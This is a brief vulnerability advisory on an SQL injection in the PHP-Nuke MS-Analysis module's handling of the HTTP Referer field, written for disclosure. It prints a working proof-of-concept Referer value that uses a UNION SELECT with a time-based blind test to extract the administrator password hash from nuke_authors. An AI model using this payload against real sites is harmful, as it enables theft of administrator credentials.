PHP-Nuke MS-Analysis Module HTTP Referrer Field SQL Injection Vulnerability

PHP-Nuke MS-Analysis Module HTTP Referrer Field SQL Injection Vulnerability

No exploit is required to leverage this issue. The following proof of concept outlines a 'Referer' field that is reported to be sufficient to leverage this issue:

"http://www.example.com/search?q=Maty+Scripts%27UNION SELECT pwd from nuke_authors where name%3d%27God%27 AND IF(mid(pwd,1,1)%3d3,benchmark(150000,md5(1337)),1)/*"

Where www.example.com must be a considered a considered a valid search engine by the MS-Analysis module.